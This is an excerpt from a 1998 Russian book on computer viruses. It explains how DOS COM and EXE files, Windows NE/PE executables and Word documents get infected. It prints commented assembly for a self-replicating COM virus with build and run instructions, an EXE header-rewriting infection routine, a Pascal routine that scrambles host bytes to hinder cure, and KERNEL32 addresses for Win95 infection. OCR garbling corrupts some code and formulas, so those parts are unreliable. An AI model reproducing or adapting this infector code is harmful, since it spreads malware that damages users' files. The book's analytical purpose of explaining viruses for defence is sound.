Игорь Гульев
ISBN 5-89818-011-7
1998
Гульев Игорь "Компьютерные вирусы, взгляд изнутри".-М.:ДМК,1998.-304 с.:ил.-ISBN 5-89818-011-7.
О проблеме защиты информации, рассмотренной с обеих сторон баррикад(как от лица вирмейкера, так и создателя антиварусов)
Вряд ли стоит напоминать, что компьютеры стали настоящими помощниками человека и без них уже не может обойтись ни коммерческая фирма, ни государственная организация. Однако в связи с этим особенно обострилась проблема защиты информации.
Вирусы, получившие широкое распространение в компьютерной технике, взбудоражили весь мир. Многие пользователи компьютеров обеспокоены слухами о том, что с помощью компьютерных вирусов злоумышленники взламывают сети, грабят банки, крадут интеллектуальную собственность...
Все чаще в средствах массовой информации появляются сообщения о различного рода пиратских проделках компьютерных хулиганов, о появлении все более совершенных саморазмножающихся программ. Совсем недавно заражение вирусом текстовых файлов считалось абсурдом - сейчас этим уже никого не удивишь. Достаточно вспомнить появление "первой ласточки", наделавшей много шума - вируса WinWord. Concept, поражающего документы в формате текстового процессора Microsoft Word for Windows 6.0 и 7.0.
Хочется сразу заметить, что слишком уж бояться вирусов не стоит, особенно если компьютер приобретен совсем недавно, и много информации на жестком диске еще не накопилось. Вирус компьютер не взорвет. Ныне известен только один вирус (Win95.CIH), который способен испортить "железо" компьютера. Другие же могут лишь уничтожить информацию, не более того.
В литературе весьма настойчиво пропагандируется, что избавиться от вирусов можно лишь при помощи сложных (и дорогостоящих) антивирусных программ, и якобы только под их защитой вы можете чувствовать себя в полной безопасности. Это не совсем так - знакомство с особенностями строения и способами внедрения компьютерных вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной программы.
В этой главе рассказано об алгоритмах работы вирусов, заражающих СОМ-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы СОМ-программы.
Компьютерные вирусы могут "гнездиться" в самых неожиданных местах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических библиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение вируса, поражающего СОМ-файлы.
Что же представляет собой СОМ-программа, как она загружается в память и запускается?
Структура СОМ-программы предельно проста - она содержит только код и данные программы, не имея даже заголовка. Размер СОМ-программы ограничен размером одного сегмента (64Кбайт).
И еще два понятия, которые часто будут встречаться:
Загрузка СОМ-программы в память и ее запуск происходят так:
сегмент ЮЮОЬ - программа). В поля PSP заносятся соответствующие значения.
СОМ-программа всегда состоит из одного сегмента и запускается со смещения 0100h.
В начале СОМ-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды OE9h, следующие два - адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только СОМ-файлы, начинающиеся с команды JMP. Благодаря простому строению СОМ-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рисунке 1.1. показано заражение файла таким способом.
После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рисунке 1.2.
Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге СОМ-программы. Для этого используется функция 4Eh (найти первый файл):
Тело вируса записывается в конец файла, туда же переносится оригинальный JMP, на место которого записывается инструкция JMP на тело вируса.
; Ищем первый файл по шаблону имени mov ah,4Eh mov dx,offset fname - offset myself add dx.bp mov cx,00100111b int 21h
Затем вирус проверяет (по первому байту файла), подходят ли ему найденные СОМ-программы:
Открываем файл Open:
mov ax,3D02h mov dx,9Eh int 21h ;Если при открытии файла ошибок не произошло, ;переходим к чтению, иначе выходим из вируса jnc See_Him jmp exit ; Читаем первый байт файла See_Him: xchg bx,ax mov ah,3Fh mov dx,offset buf-offset myself add dx,bp xor ex,ex ;CX=0 inc ex ; [(увеличение на 1) СХ=1 int 21h ; Сравниваем. Если первый байт файла ; не E9h, то переходим к поиску следующего ; файла - этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next ; Перед заражением файла вирус проверяет сигнатуру - не исключено, ; что файл уже заражен: ; Переходим в конец файла (на последний байт) mov ax,4200h xor ex,ex mov dx,[bp+(offset flen-offset MySelf)] dec dx int 21h ; Читаем сигнатуру вируса Read: mov ah,3Fh xor ex,ex inc ex mov dx, offset bytik-offset myself add dx, bp int 21h ; Если при чтении файла ошибок не произошло, ; Проверяем сигнатуру, иначе ищем следующий файл jnc test_bytik jmp find_next ; Проверяем сигнатуру Test_bytik: cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ; Если сигнатура есть, то ищем другой файл, ; если ее нет - будем заражать je find_next2 jmp NotJnfected ; Затем, в соответствии с предложенной схемой, вирус дописывается ; в конец файла-жертвы и устанавливает адрес перехода на самого себя: ; Переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21h ; Останавливаем регистр DS на сегмент кода push cs pop ds ; Копируем вирус в файл mov ah,40h mov cx,offset VirEnd-offset la mov dx,bp sub dx,offset myself-offset la int 21h ; Записываем в начало файла переход на тело вируса Write_Jmp: ; Переходим в начало файла xor сх.сх xor dx,dx mov ax,4200h int 21h ; Записываем первые три байта файла (переход на тело вируса) mov ah,40h mov сх,3 mov dx, offset jmpvir-offset myself add dx, bp int 21h
После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем - исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю.
Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:
tasm.exe leo.asm tlink leo.obj /t
В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других СОМ-файлов. После запуска LEO.COM вирус внедрится во все остальные СОМ-файлы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:
Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.
Рассмотрим два варианта внедрения СОМ-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место - в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рисунке 1.3.
При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса OlOOh). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рисунке 1.4.
Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рисунке 1.5.
После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рисунке 1.6.
Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгоритмов одного из двух только что описанных вирусов и вируса, описанного в разделе "Простейший СОМ-вирус".
В этой главе рассказано о вирусах, заражающих ЕХЕ-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки. Для каждого типа вирусов представлены исходные тексты с подробными комментариями. Также приведены основные сведения о структуре и принципах работы ЕХЕ-программы.
СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами ЕХЕ-"монстры". Появились и вирусы, умеющие заражать ЕХЕ-файлы.
В отличие от СОМ-программ, ЕХЕ-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64 Кбайт.
ЕХЕ-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:
сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответствующие значения.
Si7.e=((PageCnt*512)-(HdrSae*16))-Pa!tP3ig.
ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.
Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Эти вирусы получили свое название из-за алгоритма размножения:
к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы:
Вирусы первого типа размножается следующим образом. Для каждого инфицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же имя, что и ЕХЕ-файл, но с расширением СОМ. Вирус активируется, если при запуске программы в командной строке указано только имя исполняемого файла. Дело в том, что, если не указано расширение файла, DOS сначала ищет в текущем каталоге файл с заданным именем и расширением СОМ. Если СОМ-файл с таким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный) файл. В случае отсутствия в текущем каталоге исполняемого файла с указанным именем поиск ведется во всех каталогах, доступных по переменной PATH. Другими словами, когда пользователь хочет запустить программу и набирает в командной строке только ее имя (в основном так все и делают), первым управление получает вирус, код которого находится в СОМ-файле. Он создает СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить довольно просто - достаточно удалить СОМ-файл.
Вирусы второго типа действуют более тонко. Имя инфицируемого ЕХЕ-файла остается прежним, а расширение заменяется каким-либо другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например, файл может получить расширение DAT (файл данных) или OVL (программный оверлей). Затем на место ЕХЕ-файла копируется вирусный код. При запуске такой инфицированной программы управление получает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу исполняемое расширение (но не EХЕ, а СОМ, поскольку ЕХЕ-файл с таким именем занят вирусом), после чего исполняет его. Когда работа инфицированной программы закончена, ее запускаемому файлу возвращается расширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, может быть затруднено, если вирус-спутник шифрует часть или все тело инфицируемого файла, а перед исполнением его расшифровывает.
Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.
Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно адрес точки запуска программы. После окончания работы вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.
Следующий способ - внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы считывается в память, на ее место записывается вирусный код, а после него - код инфицируемой программы. Таким образом, код программы как бы "сдвигается" в файле на длину кода вируса. Отсюда и название способа - "способ сдвига". При запуске инфицированного файла вирус заражает еще один или несколько файлов. После этого он считывает в память код программы, записывает его в специально созданный на диске временный файл с расширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный файл очень просто - достаточно удалить код вируса в начале файла, и программа снова будет работоспособной. Недостаток этого метода в том, что приходится считывать в память весь код инфицируемой программы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов - метод переноса - по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск неинфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода - "метод переноса". После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.
Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появляются еще такие вирусы, созданные на языке Assembler, но это, скорее, соревнование в написании самого маленького overwrite-вируса. На данный момент самый маленький из известных overwrite-вирусов написан Reminder'ом (Death Virii Crew group) и занимает 22 байта.
Алгоритм работы overwrite-вируса следующий:
Ниже приведен листинг программы, заражающей файлы таким способом.
Вирусы-спутники сейчас широко распространены - соотношение companion и parasitic вирусов примерно один к двум.
Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), создать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм работы такого вируса предельно прост, так как отпадает необходимость лишних действий (например, сохранения в теле вируса длины откомпилированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела вируса, запуска файла, из которого вирус получил управление). Незачем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
Приведенный ниже листинг показывает заражение файлов этим методом.
Отличий в алгоритмах работы этих вирусов и их "коллег", создающих файл-спутник, не так уж много. Но, по всей видимости, заражение методом переименования несколько совершеннее - для излечения от вируса нужно не просто удалить СОМ-файл с кодом вируса, а немного помучаться и разыскать, во что же переименован ЕХЕ-файл с инфицированной программой.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider написан очень просто и доступно. За сеанс работы он заражает один ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма прост: файл-жертва переписывается в файл с расширением OVL (оверлейный файл), а на его место с помощью командного процессора копируется вирусный код. При запуске происходит заражение только что найденного ЕХЕ-файла, затем вирусный код переименовывается в OVL, a OVL - в ЕХЕ, после чего оригинал запускается на исполнение. Когда оригинал отработал, происходит переименование в обратном порядке. С защищенного от записи диска программа не запустится, она выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно просто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить лечение, в вирусе может быть использован такой прием:
procedure MakeNot; Var Buf10: Array [1.10] of Byte; Cicle: Byte; begin Seek(Prog, 0); Reset(Prog); BlockRead(Prog, Buf10, 10); For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle]; Seek(Prog, 0); BlockWrite(Prog, Buf10, 10); Close(Prog); end;
При использовании этой процедуры надо учитывать, что заражаемая и запускаемая на исполнение программа должна быть связана с переменной Prog типа File, описанной в основном модуле. Суть процедуры состоит в том, что из заражаемой программы считываются 10 байт и кодируются операцией Not. ЕХЕ-программа становится неработоспособной. Запускать эту процедуру нужно не только перед прогоном оригинала, но и после него.
Эти вирусы являются самыми "хитрыми". Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.
Стандартное заражение - заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент программы:
; Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт, ; которых вполне достаточно) ReadHeader: mov ah, 3Fh mov dx, offset EXEHeader mov cx, 0018h int 21h ; Останавливаем в SI адрес считанного заголовка. В дальнейшем ; будем обращаться к заголовку, используя Sl+смещение элемента mov si, offset EXEHeader ; Получаем реальную длину файла, переместив указатель текущей ; позиции чтения/записи в конец файла GetRealFSize: mov ax, 4202h mov bx, Handle xor cx, cx xor dx, dx int 21h ; Сохраним полученную длину файла mov Reallen, dx mov Reallen+2, ax ; Так как речь идет о стандартной процедуре заражения, нужно ; помнить, что все вышесказанное не должно затрагивать ; оверлейные файлы. Их длина, указанная в заголовке, ; меньше реальной, то есть эти файлы загружаются в память не полностью. ; Следовательно, если заразить такой файл, вирус попадет ; в незагружаемую часть. ; Сохраним в стеке реальную длину ЕХЕ-файла push dx push ax ; рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток CompareOVL mov cx,0200h div cx ; Ha данный момент в регистре АХ находится число страниц ; (в каждой странице содержится 512 байт), ; а в регистре DX - остаток, образующий ; еще одну (неучтенную) страницу. ; Добавим эту страницу к общему числу страниц - ; если остаток не равен нулю, то увеличим число страниц or dx.dx jz m1 inc ax m1: ; Будем считать пригодным для заражения ; стандартным способом файлы с длиной, ; полностью совпадающей с указанной в заголовке cmp ax, [si+PartPag] jne ExitProc cmp dx, [si+PageCnt] jne ExitProc ; Чтобы вирус смог вернуть управление ; зараженной программе, сохраним поля ReloSS, ; ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла. ; Значения констант, используемых в программе, ; равны смещению соответствующего ; элемента в заголовке ЕХЕ-файла (Приложение А) InitRetVars: mov ax, [si+ReloSS] mov oldss, ax mov ax, [si+ExeSP] mov oldsp, ax mov ax, [si+ReloCS] mov oldcs, ax mov ax, [si+ExeIP] mov oldip, ax ; Восстановим из стека реальную длину файла ; В данном случае она совпадает с длиной, указанной в заголовке pop ax pop dx ; Рассчитаем длину программы с вирусом, для чего прибавим ; к длине файла длину тела вируса add ax, VIRSIZE ;VIRSIZE - длина тела вируса adc dx, 0 ; рассчитаем получившуюся длину (одна страница - 512 байт) ; и остаток в последней странице (так же, ; как рассчитывали длину файла без вируса) mov cx,0200h div cx or dx, dx jz newJen inc ax NewJen: ; Внесем в заголовок новую длину файла mov [si+PageCnt], ax mov [si+PartPag], dx ; Прочитаем реальную длину файла. ; По ней будем рассчитывать новую ; точку входа в программу (адрес запуска) Eval_new_entry: mov dx, Reallen+2 mov ax, Reallen ; Рассчитаем новую точку входа. ; Точка входа в вирус должна находиться ; в начале его тела. Другими словами, нужно к длине файла ; прибавить смещение точки входа. ; Разделим длину на размер параграфа (10h) mov cx, 10h div cx ; Получили число параграфов (AX) и остаток (DX - смещение ; вируса в последнем параграфе). ; Отнимем от числа параграфов в файле число ; параграфов в заголовке - получим сегмент входа в ЕХЕ-файл sub ax, [si+HdrSize] ; 3апишем новую точку входа в заголовок mov [si+ReloCS], ax mov [si+ExeIP], dx ; Замечание: можно было округлить полученное число, ; и вирус начинался бы с 0000h. ; Но этого делать не стоит. ; Естественно, все обращения к данным в этом вирусе ; должны быть нефиксированными, как и в любом другом вирусе. ; Вместо "mov ax, ANYDATA"; придется делать так: ; mov si, VIRSTART ; mov ax, [si+offset ANYDATA] ; где offset ANYDATA - смещение относительно начала тела вируса ; Стек поставим за тело вируса - байт на 100h. Потом обязательно ; вернем, иначе можно стереть заготовленные в стеке значения! ; Установим сегмент стека такой же, как и кода, ; а указатель на вершину стека - ; на 100h байт после тела вируса mov [si+ReloSS], ax mov ax, VIRSIZE+100h mov [si+ExeSP], ax ; Теперь запишем заголовок в файл, не забыв и тело вируса. ; Рекомендуется писать сначала тело, а потом заголовок. ; Если тело вдруг не допишется, ; то файл испортим зря UpdateRle: ; 3апишем тело вируса WriteBody: ; Установим указатель чтения/записи в конец файла mov bx, Handle хог сх, сх xor dx, dx mov ax, 4202h int 21h ; Запишем тело вируса в файл mov ah, 40h mov cx, VIRSIZE mov dx, offset VIRStart int 21h ; 3апишем заголовок WriteHeader: ; Установим указатель чтения/записи в начало файла mov ax, 4200h xor cx, cx xor dx, dx int 21h ; Запишем заголовок в файл mov cx, 0018h mov ah, 40h mov dx, si int 21h
Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы вируса передать управление инфицированной программе? Вот процедура выхода из вируса:
CureEXE: StackBack: ; Установим первоначальный указатель (сегмент и смещение) стека mov ax, ds ; Прибавим 0010h, после чего в АХ будет ; находится сегмент, с которого загружен программный модуль add ax, 10h ; Прибавим первоначальный сегмент стека db @add_ax ;код ADD AX, дальше по аналогии OldSS dw ? ;это значение было установлено при заражении ; 3апретим прерывания, так как со стеком нельзя работать, ; пока и сегмент, и смещение не установлены в нужное значение cli ; Установим сегмент стека (PSP+Wh+OldSS) mov ss, ax ; Установим первоначальный указатель (смещение) стека db @mov_sp OldSP dw ? ; Разрешим прерывания - опасный участок пройден sti ; Подготовим значения в стеке для команды IRET RetEntryPoint: pushf ; рассчитаем сегмент для кода по аналогии с сегментом стека mov ax, DATASEG add ax, 10h db @add_ax OldCS dw ? ; Сохраним в стеке полученное значение (PSP+Wh+OldCS) push ax ; Сохраним в стеке смещение исходной точки входа db @mov_ax OldIP dw ? push ax ; Запустим программу. В стеке находятся смещение ; точки входа, сегмент точки входа и флаги iret
Инфицируемая программа размещается в файле после кода вируса, сдвигаясь на его длину, отсюда и название метода. Алгоритм работы вируса следующий:
Вирусы - это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина полученного кода вызывает благоговейный трепет.
Вирусы данного типа размножаются следующим образом. Из инфицируемой программы от начала файла считывается часть кода, по длине равная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода - "метод переноса". Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство данного метода над другими описанными в том, что инфицированная программа исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверяющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигурации с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в работе компьютера. Если при исполнении инфицированной программы компьютер "повиснет" или произойдет перезагрузка системы, инфицированная программа окажется "чистой", то есть без вируса. Но, во-первых, "кто не рискует, тот не пьет шампанского", а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:
В этой главе рассказано о вирусах, заражающих файлы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95, Представлены исходные тексты вирусов с подробными комментариями, Также приведены основные сведения о запускаемых файлах программ под Windows, их структуре, отличиях от файлов DOS.
В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных программ. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами - и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголовка. Первый заголовок (старый) - распознается DOS как программа, выводящая на экран "This program requires Microsoft Windows". Второй заголовок (NewEXE) - для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для DOS и программы (STUB), которая выводит сообщение "This program requires Microsoft Windows".
Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE.
Заголовок NewEXE начинается с символов "NE". Далее идет собственно заголовок, в котором содержатся различные данные, в том числе адреса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней - все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
Для загрузки в память (надо перехватить вектор INT 21h из-под Windows) необходимо использовать функции DPMI (INT 31h). Действия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении^обычного ЕХЕ-файла, - изменяется структура ЕХЕ-файла и среда, в которой он работает.
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возможно, он станет доминирующим форматом ЕХЕ. Этот формат значительно отличается от NE-executable, используемого в Windows 3.11.
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение загружено, данные, необходимые для вызова API, заносятся в эту таблицу. В Windows 95, благодаря предусмотрительности фирмы-производителя Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти непосредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно - это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME
например:
call CreateFileA
После компиляции этот вызов выглядит так:
db 9Ah ; инструкция call dd 7777 ; смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:
push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.
Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release - по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL
| Функция | Адрес в June Test Release | Адрес в August Test Release |
|---|---|---|
| GetCurrentDir | BFF77744h | BFF77744h |
| SetCurrentDir | BFF7771Dh | BFF7771Dh |
| GetTime | BFF9DOB6h | BFF9D14Eh |
| MessageBox | BFF638D9h | BFF638D9h |
| FindFile | BFF77893h | BFF77893h |
| FindNext | BFF778CBh | BFF778CBh |
| CreateFile | BFF77817h | BFF77817h |
| SetFilePointer | BFF76FAOh | BFF76FAOh |
| ReadFile | BFF75806h | BFF75806h |
| WriteFile | BFF7580Dh | BFF7580Dh |
| CloseFile | BFF7BC72H | BFF7BC72h |
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Wm95 используют Pascal Calling Convention. Пример - API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress( HMODULE hModule, // описатель DLL-модуля LPCSTR IpszProc // имя функции );
На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
push offset IpszProc push dword ptr [hModule] call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Определение положения начала РЕ-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-executable ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале нового заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Значение "NTheadersize" показывает количество байт, следующих за полем "flags". Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1) *OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1) *OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь необходимо увеличить на единицу поле "количество объектов" и записать код вируса по вычисленному "физическому смещению" в размере "физического размера" байт.
В этой главе рассказано о макровирусах. Подробно описана процедура и методы заражения файлов. Представлен исходный текст макровируса с подробными комментариями. Приведены основные сведения о языке VBA, его процедурах, функциях, стандартных конструкциях.
